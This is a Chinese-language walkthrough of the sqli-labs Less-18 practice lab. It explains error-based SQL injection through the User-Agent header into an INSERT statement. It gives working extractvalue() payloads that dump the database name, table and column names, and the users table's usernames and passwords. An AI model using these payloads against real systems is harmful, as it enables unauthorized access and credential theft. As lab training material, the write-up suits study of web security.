这一关和前面的所有关卡都不一样 我们试一试先成功登录进去看看
结果除了iD地址之外还有一个信息回显了 那就是user-agent所以我们抓包试一试 抓包后再user-agent注入试试看
我尝试了许多注入方法 发现大部分方法都不能看出我注入位置的报错信息
我们查看源码都知道这个user-agent对应着'$uagent'里面的内容 结果我们输入进去竟然不能从报错信息中获取到$uagent的结构 就纳闷了 之前都可以的 但是之前的注入点所处的位置都是select语句
而现在则变成了insert语句 大相径庭了
但是我们输入'1' 却能够看出$uagent位置的结构 但是我们得从这里面知道其原理
应该是这样子的 首先里面的单引号将1闭合起到作用 但是外部的单引号直接没有效果 所以说会报错 报错如下
我们试一试'' 没有报错 说明他把两组单引号当作了一组双引号了 而且把空格字符插入进去 所以不会报错
我们试一试' and 1=1 and '没有报错 说明外部单引号和内部单引号分开来了 然后优先级是and > =
所以是' and 1 是否等于 1 and ' 结果肯定为0 那相当于说是插入一个0
既然会报错 那么我们就利用' and xxx and '这个构造进行报错注入
首先爆库
输入如下
' and extractvalue(1,concat(0x7e,database(),0x7e)) and '
回显如下
接着进行爆表操作
输入如下
' and extractvalue(1, concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) and '
回显如下
爆字段输入如下
' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e)) and '
回显如下
爆用户名和密码信息输入如下
' and extractvalue(1,concat(0x7e,(select group_concat(username,password) from users),0x7e)) and '
回显如下
这篇文章可以参考如下网址
sqli-labs Less18 原理到实现详解_m0_60829468的博客-CSDN博客